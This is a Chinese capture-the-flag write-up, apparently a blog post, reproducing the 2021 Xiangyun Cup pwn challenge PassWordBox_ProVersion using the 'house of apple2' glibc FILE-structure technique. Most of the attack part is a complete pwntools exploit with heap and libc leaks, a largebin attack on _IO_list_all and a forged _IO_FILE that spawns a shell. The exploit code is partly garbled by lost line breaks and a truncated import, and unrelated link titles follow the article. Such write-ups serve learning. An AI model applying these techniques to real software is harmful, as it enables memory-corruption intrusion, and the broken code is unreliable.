目录

  • 前言:
  • 程序分析
  • 大致思路:
  • 利用链:
    • _IO_wfile_overflow
    • _IO_wfile_underflow_mmap:
  • exp:

前言:

复现一下2021祥云杯PassWordBox_ProVersion,顺便练习一下roderick大佬提出的house of apple2
https://bbs.pediy.com/thread-273832.htm#msg_header_h3_1

程序分析

保护全开,没沙盒
add函数用只能申请largebin范围的,这里有一个xor加密

delete函数存在指针悬挂,配合recover函数可造成uaf

show函数有两个异或加密,show之前异或变回原来的,show之后再次异或加密
异或的key被赋为一个随机数


最后程序还有exit功能,可以用exit触发io流

大致思路:

基本上就是用largebin attack,攻击io流,先泄露出libc_base,heap_base,但由于异或加密,可以先输入一个已知字符串,去show得出key,就能泄露出两者了
接着largebinattack,劫持_IO_list_all为堆地址,写入fake_io
最后exit触发io,控制程序流

exit的调用
exit->_IO_cleanup->_IO_flush_all_lockp->_IO_OVERFLOW
最后的_IO_OVERFLOW我们改虚表偏移指向我们要利用的虚表函数即可

利用链:

_IO_wfile_overflow

调用链为:

_IO_wfile_overflow_IO_wdoallocbuf_IO_WDOALLOCATE*(fp->_wide_data->_wide_vtable + 0x68)(fp)

源码:
这里放一个看源码网站
https://elixir.bootlin.com/glibc/glibc-2.31/source

void
_IO_wdoallocbuf (FILE *fp)
{if (fp->_wide_data->_IO_buf_base)return;if (!(fp->_flags & _IO_UNBUFFERED))if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用return;_IO_wsetb (fp, fp->_wide_data->_shortbuf,fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

fake_io要满足的要求

_flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有两个空格
vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可
_wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
_wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
_wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
_wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

fake_IO_FILE实际可以如此布置:

fake_IO_FILE =b'\x00'
fake_IO_FILE =fake_IO_FILE.ljust(0x18, b'\x00')+p64(1)
fake_IO_FILE =fake_IO_FILE.ljust(0x90, b'\x00') + p64(target_addr + 0xe0)
fake_IO_FILE =fake_IO_FILE.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(system)
edit(8,fake_IO_FILE)
edit(7,b'a'*0x420+b' sh\x00\x00\x00\x00\x00')

get shell

_IO_wfile_underflow_mmap:

调用链为:

_IO_wfile_underflow_mmap_IO_wdoallocbuf_IO_WDOALLOCATE*(fp->_wide_data->_wide_vtable + 0x68)(fp)

源码:

static wint_t
_IO_wfile_underflow_mmap (FILE *fp)
{struct _IO_codecvt *cd;const char *read_stop;if (__glibc_unlikely (fp->_flags & _IO_NO_READS)){fp->_flags |= _IO_ERR_SEEN;__set_errno (EBADF);return WEOF;}if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)return *fp->_wide_data->_IO_read_ptr;cd = fp->_codecvt;/* Maybe there is something left in the external buffer.  */if (fp->_IO_read_ptr >= fp->_IO_read_end/* No.  But maybe the read buffer is not fully set up.  */&& _IO_file_underflow_mmap (fp) == EOF)/* Nothing available.  _IO_file_underflow_mmap has set the EOF or errorflags as appropriate.  */return WEOF;/* There is more in the external.  Convert it.  */read_stop = (const char *) fp->_IO_read_ptr;if (fp->_wide_data->_IO_buf_base == NULL){/* Maybe we already have a push back pointer.  */if (fp->_wide_data->_IO_save_base != NULL){free (fp->_wide_data->_IO_save_base);fp->_flags &= ~_IO_IN_BACKUP;}_IO_wdoallocbuf (fp);// 需要走到这里}//......
}

fake_io要满足的要求为:

> _flags设置为~4,如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有个空格 vtable设置为_IO_wfile_jumps_mmap地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap即可
> _IO_read_ptr < _IO_read_end,即满足*(fp + 8) < *(fp + 0x10)
> _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
> _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8)
> _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
> _wide_data->_IO_save_base设置为0或者合法的可被free的地址,即满足*(A + 0x40) = 0
> _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
> _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

然而我在实际执行时遇到一些小问题
源码中的这一段

if (fp->_IO_read_ptr >= fp->_IO_read_end/* No.  But maybe the read buffer is not fully set up.  */&& _IO_file_underflow_mmap (fp) == EOF)

如果fp->_IO_read_ptr >= fp->_IO_read_end,则会调用_IO_file_underflow_mmap
而里面会有一个对rax+0xe0地址赋值的操作,会被赋值为_IO_wfile_jumps的地址
会使我们上面要满足条件中的*(A + 0xe0) = &_IO_wfile_jumps
无法指向system
所以我们要设为fp->_IO_read_ptr 小于 fp->_IO_read_end

我这边fp->_IO_read_ptr= 0x441
我把fp->_IO_read_end设为了0x600

fake_IO_FILE实际如此布置:

fake_IO_FILE =b'\x00'
fake_IO_FILE =p64(0x600)
fake_IO_FILE =fake_IO_FILE.ljust(0x18, b'\x00')+p64(1)
fake_IO_FILE =fake_IO_FILE.ljust(0x90, b'\x00') + p64(target_addr + 0xe0)
fake_IO_FILE =fake_IO_FILE.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps_mmap+8)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0, b'\x00') + p64(1)+p64(0)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0+0x30, b'\x00') + p64(0)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0+0x40, b'\x00') + p64(0)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(system)
edit(8,fake_IO_FILE)
edit(7,b'a'*0x420+b'  sh\x00\x00\x00\x00')

最后成功getshell

exp:

rom pwn import *
local_file  = './pwdPro'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = '/lib/x86_64-linux-gnu/libc.so.6'
select = 0
if select == 0:r = process(local_file)libc = ELF(local_libc)
elif select == 1:r = remote('node4.buuoj.cn',25904 )libc = ELF(remote_libc)
else:r = gdb.debug(local_file)libc = ELF(local_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims            :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):gdb.attach(r,cmd)
#------------------------
def add(idx,ID,size,pwd):sla('Input Your Choice:\n','1')sla('Which PwdBox You Want Add:\n',str(idx))sa('Input The ID You Want Save:',ID)sla('Length Of Your Pwd:',str(size))sla('Your Pwd:',pwd)
def edit(idx,pwd):sla('Input Your Choice:\n','2')sla('Which PwdBox You Want Edit:\n',str(idx))se(pwd)
def show(idx):sla('Input Your Choice:\n','3')sla('Which PwdBox You Want Check:\n',str(idx))
def delete(idx):sla('Input Your Choice:\n','4')sla('Idx you want 2 Delete:\n',str(idx))sla('Input Your Choice:\n','5')sla('Idx you want 2 Recover:\n',str(idx))
def exit():sla('Input Your Choice:\n','6')
#-------------leak_heap,leak_base------------------
add(0,'0',0x420,'aaaa')
add(1,'1',0x420,'aaaa')
add(2,'2',0x428,'aaaa')
add(3,'3',0x420,'aaaa')
delete(2)
add(4,'2',0x440,'aaaa')
delete(0)
edit(0,'a'*0x8)
show(0)
ru('Pwd is: ')
xor_key=uu64(rc(8))^0x6161616161616161
info('xor_key',xor_key)
show(2)
ru('Pwd is: ')
libc_addr=uu64(rc(8))^xor_key
libc_base=libc_addr-0x1ecfd0
rc(8)
info('libc_base',libc_base)
heap_addr=uu64(rc(8))^xor_key
heap_base=heap_addr-0xaf0
rc(8)
info('heap_base',heap_base)
#----------------clear_bins---------------
edit(0,p64(libc_base+0x1ecbe0))
add(0,'0',0x420,'\x00')
target=libc_base+libc.sym['_IO_list_all']
add(5,'5',0x420,'a')
#---------------largebin_attack_IO_list_all-------------
add(6,'6',0x440,'b')
add(7,'6',0x428,'b')
add(8,'6',0x438,'b')
add(9,'6',0x420,'b')
delete(6)
add(10,'10',0x450,'b')
delete(8)
edit(6,p64(0x1ecfe0+libc_base)*2+p64(heap_base+0x17a0)+p64(target-0x20))
add(11,'11',0x450,'trigger')
#------------------fake_io----------------
#debug()
#pause()
system=libc_base+libc.sym['system']
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
_IO_wfile_jumps_mmap = libc_base + libc.sym['_IO_wfile_jumps']-0xc0
target_addr=heap_base+0x2020
#----------_IO_wfile_jumps->_IO_wfile_overflow->_IO_wdoallocbuf->_IO_WDOALLOCATE------fake_IO_FILE =b'\x00'
fake_IO_FILE =fake_IO_FILE.ljust(0x18, b'\x00')+p64(1)
fake_IO_FILE =fake_IO_FILE.ljust(0x90, b'\x00') + p64(target_addr + 0xe0)
fake_IO_FILE =fake_IO_FILE.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(system)
edit(8,fake_IO_FILE)
edit(7,b'a'*0x420+b' sh\x00\x00\x00\x00\x00')#----------_IO_wfile_underflow_mmap->_IO_wdoallocbuf->_IO_WDOALLOCATE----------------
#fake_IO_FILE =b'\x00'
#fake_IO_FILE =p64(0x600)
#fake_IO_FILE =fake_IO_FILE.ljust(0x18, b'\x00')+p64(1)
#fake_IO_FILE =fake_IO_FILE.ljust(0x90, b'\x00') + p64(target_addr + 0xe0)
#fake_IO_FILE =fake_IO_FILE.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps_mmap+8)
#fake_IO_FILE =fake_IO_FILE.ljust(0xd0, b'\x00') + p64(1)+p64(0)
#fake_IO_FILE =fake_IO_FILE.ljust(0xd0+0x30, b'\x00') + p64(0)
#fake_IO_FILE =fake_IO_FILE.ljust(0xd0+0x40, b'\x00') + p64(0)
#fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8)
#fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(system)
#edit(8,fake_IO_FILE)
#edit(7,b'a'*0x420+b'  sh\x00\x00\x00\x00')
#debug('b *_IO_file_underflow_mmap+444')
#pause()
exit()
r.interactive()

2021祥云杯PassWordBox_ProVersion相关推荐

  1. [2021祥云杯]secrets_of_admin

    [2021祥云杯]secrets_of_admin 文章目录 [2021祥云杯]secrets_of_admin 代码分析 /的POST方式 /admin的GET方式 /admin的POST方式 /a ...

  2. 2021 祥云杯 pwn-JigSaw’sCage

    2021 祥云杯 pwn-JigSaw'sCage 这道题属实是没有发现漏洞点在哪里,所以看了一下wm的wjh师傅的wp,发现漏洞出现下图 v1是int,但scanf是ld,所以溢出了4个字节,这就导 ...

  3. 2021 祥云杯 pwn-PassWordBox_ProVersion

    2021 祥云杯 pwn-PassWordBox_ProVersion 这里就没有off by null了,size也只能是large bin的,那肯定就是large bin attack了,libc ...

  4. 2021 祥云杯 pwn-note

    2021 祥云杯 pwn-note 这是一道scanf任意读写的pwn题 漏洞点发生在上图 在第一个图那里下个断点,查看stack时发现%11$p这里有一个stdout,这个给了我们泄露libc的机会 ...

  5. 2021祥云杯部分wp

    祥云杯2021 目前只做了两道题(没办法 tcl... MISC-鸣雏恋 下载下来是个word,打开只有一句话 不太对劲,放到010里看一看发现文件头50 4B 03 04 经典压缩包了,文件后缀改成 ...

  6. 2021祥云杯部分pwn

    note 格式化字符串 本题考查了scanf的格式化字符串利用.一般我们用的都是printf的格式化字符串.这里是scanf 踩坑 一开始没有注意到sendline会多发一个换行符,导致往栈上$7的s ...

  7. 2021祥云杯 CTF pwn解 wp

    前言:题都不难,我好气,这次被大佬带飞,队里的pwn手都是神级别的,这里出了三道题,如果我不是sha,我应该能出五道,可是我好菜,这里贴出一下 note: 思路:自己构建格式化字符串漏洞,自己打,先打 ...

  8. 【2021祥云杯】 鸣雏恋

    下载附件,是个压缩包,里面是个docx,打开: 但是我们知道docx文档是可以当作压缩包解压的,所以我们可以将后缀改为zip,在解压得到的文件中找到love.zip和key.txt love.zip有 ...

  9. 祥云杯2021web writeup

    太菜了,一个web都没做出来.接下来是复现.好好学习一下大佬们的姿势,也记录一下.篇幅较长,其中有对于源码等的分析,适合新手.大佬勿喷. 目录 web1 ezyii 考点: yii反序列化的链子 we ...

最新文章

  1. UITableView——reloadData与reloadSection性能比较
  2. 《C语言程序设计:问题与求解方法》——3.9节常见编程错误
  3. c语言中热河输入空格,承德市2020年(春秋版)小学英语六年级上册期中考试模拟试卷(1)C卷...
  4. mysql drivermanager_MYSQL 之 JDBC(二): 数据库连接(二)通过DriverManager获取数据库连接...
  5. P1989 无向图三元环计数 思维 + 建图
  6. 通信调制体制设计之64QAM性能分析MATLAB仿真及代码
  7. 为什么不邀请我参加会议?
  8. Pytest之skip、skipif、xfail
  9. 在Mac上使用鼠标键来控制指针的方法
  10. java安装包_Java6 Update
  11. 华为手机邮箱发件服务器端口设置,华为手机设置-华为手机POP3设置
  12. 哈夫曼编码C++实现
  13. Linux命令之dhclient,dhclient命令 – 动态获取或释放IP地址
  14. 读书笔记:《死去之前,都是人生》
  15. 微积分小糊涂,国庆节大快乐!
  16. 微信小程序正则表达式截取_微信小程序实现简单input正则表达式验证功能示例...
  17. 嵌入式 linux下proc目录下的文件详解
  18. kinectfusion解析_2019/02/09 对于KinectFusion 的理解
  19. 嵌入式学习笔记-uboot第一阶段分析
  20. 【渝粤教育】电大中专跨境电子商务理论与实务 (26)作业 题库

热门文章

  1. 2022-2028全球汽车碳纤维复合材料零件行业调研及趋势分析报告
  2. Proxmox VE安装使用心得记录
  3. 决策树算法python实现
  4. 小白进阶之文档快速比较功能 --- 比较两个文档并标记
  5. 安装Wincc Flexible 2008 SP4提示“未找到SSF文件”的解决办法
  6. arduino 停止程序_Arduino 中断
  7. 网易云信流媒体首席架构师:新一代音视频技术架构如何构建?
  8. IP SLA及track技术的应用
  9. 软件可扩展性:来自星巴克的经验
  10. 长庆油田2021年油气当量突破6000万吨,油田潜力有多大?